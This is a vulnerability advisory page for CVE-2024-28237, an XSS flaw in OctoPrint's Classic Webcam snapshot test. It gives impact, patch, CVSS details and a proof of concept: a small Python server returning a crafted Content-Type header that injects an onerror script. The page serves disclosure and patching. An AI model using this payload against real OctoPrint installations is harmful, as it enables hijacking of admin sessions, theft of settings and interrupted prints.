🛡️ CVE-2024-28237 — octoprint

🟡 CVSS 4.0 — Medium ⚠️ Exploit Public CWE-79 OSV
4.0
CVSS Score
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Description

XSS via the "Snapshot Test" feature in Classic Webcam plugin settings

Impact

OctoPrint versions up until and including 1.9.3 contain a vulnerability that allows malicious admins to configure or talk a victim with administrator rights into configuring a webcam snapshot URL which when tested through the "Test" button included in the web interface will execute JavaScript code in the victims browser when attempting to render the snapshot image.

An attacker who successfully talked a victim with admin rights into performing a snapshot test with such a crafted URL could use this to retrieve or modify sensitive configuration settings, interrupt prints or otherwise interact with the OctoPrint instance in a malicious way.

Patches

The vulnerability will be patched in version 1.10.0.

Workaround

OctoPrint administrators are strongly advised to thoroughly vet who has admin access to their installation and what settings they modify based on instructions by strangers.

PoC

Below are the steps to reproduce the vulnerability:

1. Create a URL that responds with a malicious content type. For example, creating the following python script:

```

from http.server import BaseHTTPRequestHandler, HTTPServer

class MyHTTPRequestHandler(BaseHTTPRequestHandler):

def do_GET(self):

self.send_response(200)

self.send_header('Content-Type', 'image/"onerror="alert(1)"')

self.end_headers()

self.wfile.write(b'Ok')

def run():

server_address = ('', 8080)

httpd = HTTPServer(server_address, MyHTTPRequestHandler)

print('Server listening on 0.0.0.0:8080...')

httpd.serve_forever()

if __name__ == '__main__':

run()

```

2. Go to OctoPrint settings --> Plugins --> Classic Webcam and enter the URL of that page as the Snapshot URL.

3. Click on the "Test" button to trigger XSS. A Javascript alert should appear, demonstrating the actual code injection.

Credits

This vulnerability was discovered and responsibly disclosed to OctoPrint by Jacopo Tediosi.

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs administrative privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability low.

Weakness class

CVE-2024-28237 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2024-28237 is recorded against 1 package.

  • octoprint (fixed in 1.10.0rc3)

Timeline and source

Published on 18 March 2024 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity MEDIUM
CVSS Score 4.0
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
CWE CWE-79
Public Exploit ⚠️ Yes
Source OSV
Published 2024-03-18
Updated 2026-08-12
Modified 2026-06-17

Affected Packages

Software From version Fixed in
octoprint 1.10.0rc3

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